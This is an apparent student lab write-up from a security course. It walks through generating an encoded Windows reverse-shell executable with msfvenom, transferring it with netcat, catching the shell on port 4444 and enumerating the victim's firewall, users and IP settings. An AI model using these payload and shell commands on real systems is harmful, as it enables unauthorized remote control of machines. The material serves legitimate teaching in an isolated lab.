All Courses
All Courses
Courses by Software
Courses by Semester
Courses by Domain
Tool-focused Courses
Machine learning
POPULAR COURSES
Success Stories
Project 1: Setting Up Virtual Machine: 1. Setup Two Virtual Machines: In this first scenario we want to setup two virtual machine one is attack machine and another one is victim machine. The attacker machine is KALI LINUX virtual machine and the victim machine is WINDOW SERVER 2012 virtual machine. Here we want to conform…
NAVENBABU Y
updated on 29 Aug 2022
Project 1: Setting Up Virtual Machine:
1. Setup Two Virtual Machines:
In this first scenario we want to setup two virtual machine one is attack machine and another one is victim machine. The attacker machine is KALI LINUX virtual machine and the victim machine is WINDOW SERVER 2012 virtual machine.
Here we want to conform the IP Address for both virtual machines,
Screenshot in kali Linux terminal:
Screenshot in Window Server 2012 Comment Prompt:
2. Generate Payload:
Here using Attacker machine to generate payload like “Window Reverse TCP Shell”. Because, here the victim machine is Window Server 2012 we want get access through the TCP at shell like comment prompt. Here payload is generated as exe file format, because this format is act as application type in victim machine.
Steps to generate the payload in attacker machine:
Step 1: Where the attacker machine as Kali Linux we want open the terminal and run the command sudo su for get the root access.
Step 2: using msfvanom type command to generate the payload.
Command: $ msfvanom -p window/shell_reverse_tcp -a x86 LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /home/kali/Desktop/shell.exe
{(-p) for Payload, (-a) for The architecture to use for payload and encode,(LHOST) for local host number like IP Address, (LPORT) for local port number, (-e) for Encoder,(-i) for Iterations process like the number of time to encode the payload, (-f) for file format, (-o) for outpath like save the payload in the required path}
Screenshot for generate payload:
Screenshot of Payload file:
3. Send the Payload to Victim Machine Using Netcat (Port number is 7555):
In this scenario using attacker like Kali Linux machine as sender side to transfer the payload to the victim machine like Window Server 2012 act as receiver in this task. The local port number here used to connect both machine is 7555.
In this sender side using kali Linux terminal to provide a command to transfer the exe file to receiver machine using Netcat method.
Command: nc -v -w 30 -p 7555 -l < shell.exe
{(nc) for Netcat access, (-v) for verbose use twice to be more verbose, (-w) for Timeout for connects and final net reads, (-p) for Local Port number, (-l) for listen mode, for inbound connects}
Screenshot from Sender Side:
In this Receiver side using Window Server 2012 Comment Prompt to provide a command for receiving the exe file from sender machine Netcat method.
Command: nc -v -w 30 192.168.1.10 7555 > shell.exe
{(nc) for Netcat access, (-v) for verbose use twice to be more verbose, (-w) for Timeout for connects and final net reads, 192.168.1.10 is IP Address from sender side}
Screenshot from Receiver side:
4. Gain Reverse Shell Access from Victim Machine:
After download and install the shell.exe file in victim machine, is the door open to access the victim machine by using the attacker machine. Here we use the Local Port number to gain the reverse shell access is 4444.
Command to get shell access from victim machine is,
Command: nc -lvp 4444
{nc for access Netcat}
{-lvp for (l) is listen mode, for inbound connects, (v) is verbose use twice to be more verbose, (p) is Local Port number 4444}
Screenshot for Gain Reverse Shell Access:
5. Display Firewall status of Victim Machine:
After gaining the reverse shell access from the victim machine now use run the command to view user, view firewall status, view victim IP Address.
Command for Firewall status:
Command: C:\Users\Administrator> netsh firewall
netsh firewall>show state
Screenshot for firewall Status:
Command for View User:
Command: C:\Users\Administrator\Downloads>net user
net user
Screenshot for View User:
Command for View Victim IP Address:
Command: C:\Users\Administrator>ipconfig
Ipconfig
Screenshot for View IP Address:
Leave a comment
Thanks for choosing to leave a comment. Please keep in mind that all the comments are moderated as per our comment policy, and your email will not be published for privacy reasons. Please leave a personal & meaningful conversation.
Other comments...
Project
TARA (Technical Assessment and Risk Analysis) Report Product: Headlamp System: Introduction: This TARA report is aimed at analyzing the potential risks associated with damage to the headlamp system. The report presents a comprehensive analysis of the product's technical features, functionality, and potential risks associated…
03 May 2023 06:07 AM IST
Project 2 - Comprehensive Risk Rating System (CRRS)
Project-2: Comprehensive Risk Rating System (CRRS): Agenda of the Project: Explanation about Risk and detail about Risk formula. Find the vulnerability and Impact of each component were place in Online Bank Security Boundary. Calculate the Risk of Security components using Risk formula. Average total Risk find in security…
06 Jan 2023 04:29 PM IST
Project 1 - Design Enterprise Security Model
Project 1- Design Enterprise Security Model: Agenda of Project: Introduction detail about the task and include the bank security infrastructure. Express the details of security model were using for bank infrastructure. Express the real-time scenario online banking and background working security boundary. List the checklist…
06 Jan 2023 08:53 AM IST
Project 2 - Installing BWAPP – web app on your local machine
1. Install BWAPP – web app on your local machine. Successfully exploit the below Vulnerabilities: BWAPP intro: bWAPP, or a buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.…
06 Dec 2022 05:38 PM IST
Related Courses
0 Hours of Content
Skill-Lync offers industry relevant advanced engineering courses for engineering students by partnering with industry experts.
© 2025 Skill-Lync Inc. All Rights Reserved.